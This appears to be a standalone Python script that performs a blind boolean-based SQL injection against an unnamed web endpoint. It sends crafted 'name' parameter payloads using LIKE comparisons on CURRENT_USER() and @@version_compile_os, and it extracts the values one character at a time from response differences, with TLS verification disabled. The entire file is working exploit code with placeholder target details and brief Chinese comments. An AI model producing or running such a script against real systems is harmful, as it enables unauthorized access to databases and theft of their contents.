import requests from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) import time
words='' payload=f"name=1%27%29or%2F**%2F%28%40%40version_compile_os%29+like+%27{words}%25%27--+" chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$&'()*+,-./:;<=>?@[\]^_`{|}~" for i in range(30): for char in chars: #payload="name=1%27%29or%2F**%2F%28%40%40version_compile_os%29+like+%27{}%25%27--+".format(words+char) #version_compile_os结果 payload="name=1%27%29or%2F**%2F%28CURRENT_USER()%29+like+%27{}%25%27--+".format(words+char) #查询用户 resp=requests.post(url=url,headers=headers,data=payload,verify=False) #time.sleep(0.1) if "xxxxxxx" in resp.text: words = words+str(char) print(words)